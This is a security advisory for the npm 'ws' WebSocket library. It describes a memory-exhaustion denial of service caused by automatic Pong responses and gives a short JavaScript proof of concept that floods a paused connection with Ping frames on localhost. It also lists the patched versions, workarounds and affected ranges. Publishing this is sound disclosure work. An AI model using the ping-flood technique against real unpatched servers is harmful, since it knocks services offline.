GHSA-37g9-w4hg-h9qr

Suggest an improvement
Source
https://github.com/advisories/GHSA-37g9-w4hg-h9qr
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-37g9-w4hg-h9qr/GHSA-37g9-w4hg-h9qr.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-37g9-w4hg-h9qr
Aliases
Published
2026-12-01T18:12:48Z
Modified
2026-12-01T18:30:04Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
ws: Memory exhaustion DoS via unbounded automatic pong responses
Details

Impact

A malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(125);
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    ws.pause();

    (function ping() {
      ws.ping(data, function (err) {
        if (err) return;
        ping();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.23.0 (https://github.com/websockets/ws/commit/ace7248f685b10a87eff882e66c5b37fbee03d63) and backported to ws@7.5.14 (https://github.com/websockets/ws/commit/718c33c8e1ca09a01403eaddea9119b02a63ccfe), ws@6.2.7 (https://github.com/websockets/ws/commit/8a10a6ad25b04b6a02c56d7237792b7e4ade12b7), and ws@5.2.8 (https://github.com/websockets/ws/commit/560e071478550f1227271b09993caff97753f1a1).

Workarounds

In vulnerable versions, the issue can be mitigated by enforcing rate-limiting combined with heartbeats, or by setting the autoPong option to false, if available.

Credits

The vulnerability was responsibly disclosed by multiple reporters:

Database specific
{
    "cwe_ids":  [
        "CWE-400",
        "CWE-770"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-12-01T18:12:48Z",
    "nvd_published_at":  "2026-11-30T22:17:30Z",
    "severity":  "HIGH"
}
References

Affected packages

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
5.2.8

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-37g9-w4hg-h9qr/GHSA-37g9-w4hg-h9qr.json"

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
6.0.0
Fixed
6.2.7

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-37g9-w4hg-h9qr/GHSA-37g9-w4hg-h9qr.json"

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
7.0.0
Fixed
7.5.14

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-37g9-w4hg-h9qr/GHSA-37g9-w4hg-h9qr.json"

npm / ws

Package

Affected ranges

Type
SEMVER
Events
Introduced
8.0.0
Fixed
8.23.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-37g9-w4hg-h9qr/GHSA-37g9-w4hg-h9qr.json"